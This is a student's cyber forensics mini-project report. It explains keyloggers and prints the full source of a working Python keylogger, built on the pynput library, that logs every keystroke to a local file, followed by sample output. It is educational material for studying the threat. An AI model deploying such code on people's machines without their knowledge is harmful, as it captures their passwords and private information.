Cyber Forensics & Law Mini-Project

M.Sc Part II Computer Science

Mithun Parab 509

September 1, 2023

R.J. College of Arts, Science & Commerce

Cyber Forensics & Law

Seat number: 509

Contents

List of Figures

1 Mini-Project: Understanding and Designing a Basic Keylogger in Python

1.1 Introduction

In today's digitally interconnected world, data security and privacy have become paramount concerns. Alongside these concerns, there's a growing interest in understanding and mitigating potential threats to personal and organizational data. Keyloggers are a class of software or hardware devices that record keystrokes made on a keyboard. While keyloggers have legitimate use cases, such as monitoring computer activity for parental control or employee monitoring, they can also be exploited maliciously to steal sensitive information like passwords or credit card numbers.

The Python script presented here demonstrates a basic keylogger. It serves as an educational tool to understand how keyloggers work and to highlight the importance of cybersecurity. This script, which uses the `pynput` library, logs keystrokes to a text file, but it's essential to emphasize responsible and legal use when discussing or implementing keyloggers.

1.2 Methodology

The methodology behind this script is relatively straightforward. Let's break it down:

1. **Initialization**:
    - The script initializes by specifying a filename where the keystrokes will be logged. By default, it's set to "keylogs.txt."
2. **Keystroke Logging**:
    - The `on_press` method is called each time a key is pressed.
    - Inside this method, the script captures the pressed key using the `key.char` attribute if available. If the `key.char` attribute is not available, the script captures the key as a string using `str(key)`.
    - The captured key is then appended to the log file specified earlier.
3. **Execution**:
    - The script's main entry point is within the `if __name__ == '__main__':` block.
    - An instance of the `KeyLogger` class is created.
    - The `main` method of this instance is invoked.
    - The keylogger runs in the background, continually logging keystrokes until it's manually terminated.

1.3 Code

https://github.com/Mithunprb/MSc-Practicals-Journals/tree/main/MSc-Part2/CFL/Mini-Project/

```python
from pynput import keyboard


class KeyLogger:
    def __init__(self, filename: str = "keylogs.txt") -> None:
        self.filename = filename

    @staticmethod
    def get_char(key):
        try:
            return key.char
        except AttributeError:
            return str(key)

    def on_press(self, key):
        print(key)
        with open(self.filename, "a") as logs:
            logs.write(self.get_char(key))

    def main(self):
        listener = keyboard.Listener(
            on_press=self.on_press,
        )
        listener.start()


if __name__ == "__main__":
    logger = KeyLogger()
    logger.main()
    input()

```

1.4 Result

Output:

```
mithunparab/Msc/Part2/CFL/mini-project/$ python -m keylogger
mithunparab/Msc/Part2/CFL/mini-project/$ cat keylogs.txt
hereweKey.spacegoKey.ctrlc
```

1.5 Conclusion

This Python script provides a basic introduction to keyloggers and their functioning. It's important to stress that keyloggers can be both legitimate and potentially malicious tools, depending on their use. While this script is meant for educational purposes and serves as a simple example, it's crucial to use this knowledge responsibly and ethically.

Additionally, cybersecurity is an evolving field, and the best defense against malicious keyloggers and other threats is to stay informed about security best practices. Individuals and organizations should implement robust cybersecurity measures, such as using up-to-date antivirus software, regularly changing passwords, and being cautious about downloading and executing files from untrusted sources.

Understanding how keyloggers work is a valuable aspect of cybersecurity awareness. It enables individuals and organizations to better protect their sensitive information and take proactive steps to secure their digital assets.